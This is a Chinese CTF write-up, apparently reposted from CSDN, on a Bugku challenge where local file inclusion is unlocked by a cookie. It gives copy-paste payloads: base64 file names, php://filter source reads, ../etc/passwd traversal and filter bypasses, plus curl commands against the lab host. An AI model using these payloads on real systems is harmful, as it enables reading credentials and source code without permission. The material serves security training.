适用:本地文件包含 LFI、Cookie 条件判断、base64 文件名字符串、php://filter 读源码
一、题目场景回顾(bugku ctf)
访问 index.php?line=&filename=xxx 现象:
- 不带特定 Cookie:页面输出固定乱码字符串,不会读取文件
- 带上 Cookie: margin=margin:才会执行文件包含逻辑,解码 filename 读取文件
- filename 参数是base64 编码后的文件名
后端伪代码
// 核心判断:必须Cookie存在margin=margin
if($_COOKIE['margin'] === "margin"){
$file = base64_decode($_GET['filename']);
include($file);
}else{
echo "乱码字符串...";
}
Payload 清单(直接复制)
- keys.txt 编码:
a2V5cy50eHQ=
index.php?line=&filename=a2V5cy50eHQ=
- keys.php 编码:
a2V5cy5waHA=
index.php?line=&filename=a2V5cy5waHA=
- php://filter 读取 index.php 源码(LFI 万能 payload,看后端源码)
index.php?line=&filename=php://filter/read=convert.base64-encode/resource=index.php
请求携带 Cookie 两种方式
- Kali curl(最稳,无浏览器 bug,推荐优先用)
curl "http://160.202.254.160:12348/index.php?line=&filename=a2V5cy50eHQ=" -H "Cookie:margin=margin"
- 浏览器设置 Cookie(Hackbar 自定义 Header 容易失效!) F12 → 应用程序 → Cookie,手动新增
- Name:
margin - Value:
margin - Domain:
160.202.254.160 - Path:
/设置完成后直接刷新页面,不要在 Hackbar 的 Custom Headers 写 Cookie。
踩坑点:Hackbar 自定义 Cookie 头会和浏览器原生 Cookie 冲突,经常失效,这就是你之前一直看到乱码的根源!
二、通用 LFI(本地文件包含)全套解题思路【重点】
1. 识别 LFI 漏洞特征
URL 出现:?file= / ?filename= / ?path= / ?read= 页面会根据参数加载文件,大概率文件包含。
2. 基础测试顺序(标准 WP 流程)
- 测试读取当前目录文件:
?filename=test.txt - 尝试目录穿越:
../?filename=../etc/passwd(Linux)?filename=../windows/win.ini(Windows)
- 协议绕过:php://filter(最常用!读取 PHP 源码,不会直接执行)
php://filter/read=convert.base64-encode/resource=index.php
作用:把 php 文件源码 base64 输出,拿到源码看后端逻辑、密钥、判断条件。
- php://input (可执行代码,需要 POST)
- data:// 协议(部分环境可用,写入代码执行)
3. 常见过滤 & 绕过
- 过滤
../:....//、..\ - 过滤
php:编码、截断、filter 协议 - 过滤
base64:rot13 等其他编码
4. 特殊条件型 LFI(Cookie 做开关)
考点:漏洞不是无条件触发,需要特定请求头 / Cookie 满足 if 判断 套路:
- 不带 Cookie:返回垃圾字符 / 提示无权访问
- 带上指定 Cookie:才进入 include 逻辑
- 遇到这种题,优先用 php://filter 读取源码,直接看 if 判断写的是什么,不用盲猜 Cookie!
5.重点命令涵盖测试
curl 模板,带 Cookie
curl "http://靶机地址/index.php?filename=xxx" -H "Cookie:key=value"
php://filter 读源码 payload
?filename=php://filter/read=convert.base64-encode/resource=index.php
base64 编码文件名字符串
在 Hackbar Encoding 直接编码,把文件名转 base64 放到 filename 参数
看到URL里面有编码解码的成分可以多多尝试用index.php源码加密代替
转载自 CSDN-专业IT技术社区
原文链接:https://blog.csdn.net/qq_73552461/article/details/166789454



